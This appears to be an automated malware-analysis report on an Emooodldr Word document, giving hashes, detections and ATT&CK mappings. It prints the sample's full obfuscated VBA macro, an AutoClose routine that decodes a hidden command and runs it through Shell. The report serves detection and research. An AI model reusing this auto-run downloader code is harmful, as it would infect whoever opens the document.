Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 ecfeced9d622807d…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-06-27
MD5: cf6c098d4eff4facdc4212f5c1ccba05 SHA-1: 78f9eb44e86d5e48dc2211ded1c43083fd908bc7 SHA-256: ecfeced9d622807d2b82b64fc2ba725603f9116f41e1ddb58715e1f751bbebb9
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. Static analysis revealed VBA macros, specifically an AutoClose function that utilizes Shell() to execute a command. This command likely downloads and executes a second-stage payload, a common characteristic of the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2092 bytes
SHA-256: 1706498fe9044950a88e8a8a3a6cf02274862a20e1f81acfa15ec615a8eddf70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function partygoers(abnegator)
  camerinidae = Array("1", "9", "l", "r", "i", "N", "D", "o", "I", "2", "R", "M", "g", "7", "y", "K", "J", "X", "B", "k", "A", "4", "x", "z", "q", "Y")
  eddish = Array(" ", ":", "n", "d", "t", "U", "w", "O", "o", "?", "i", "g", "e", "s", "c", ".", "m", "a", "q", "j", "u", "h", "p", "=", "/", "x")
  
  unmorphological = vbNullString
  
  For Each cranium In abnegator
    bobsledded = Application.Run("xerus", cranium, camerinidae)
    If bobsledded > -1 And bobsledded < 99212 Then
    unmorphological = eddish(bobsledded) + unmorphological
    End If
  Next
  
  partygoers = StrReverse(unmorphological)
  
End Function

Public Function xerus(ganging, mingling)

  backwaters = 81818
  spazesator = -1
  For Each actias In mingling
    If actias = ganging Then
     backwaters = spazesator
     Exit For
    End If

    spazesator = spazesator + 1
    
  Next

  
  If backwaters = 81818 Then
    backwaters = -1
  End If


  xerus = backwaters + 1
End Function




Sub AutoClose()
  abnegator = Array("J", "7", "4", "i", "X", "K", "g", "Y", "g", "1", "4", "i", "i", "x", "9", "q", "q", "k", "4", "R", "k", "r", "B", "D", "A", "M", "4", "X", "7", "l", "r", "X", "7", "g", "B", "D", "K", "y", "I", "J", "q", "o", "N", "q", "7", "J", "R", "Y", "K", "x", "4", "x", "2", "A", "i", "J", "X", "z", "l", "l", "R", "R", "X")
  ageratum = partygoers(abnegator)
  
  Application.Run "theorizer", (ageratum)
  
End Sub


Private Sub theorizer(leaning)
   
   ectodermoidal = 69172
   konking = True
   
   While konking
     phytotomy = ectodermoidal + 91723
     If phytotomy - ectodermoidal > 297 Then
       VBA.Shell leaning, vbNormalFocus - 1
       konking = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 18631f79c9fa0c2ad5c17d6cb67d01f69168419e46172b7f22b35147ad4c48cf
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely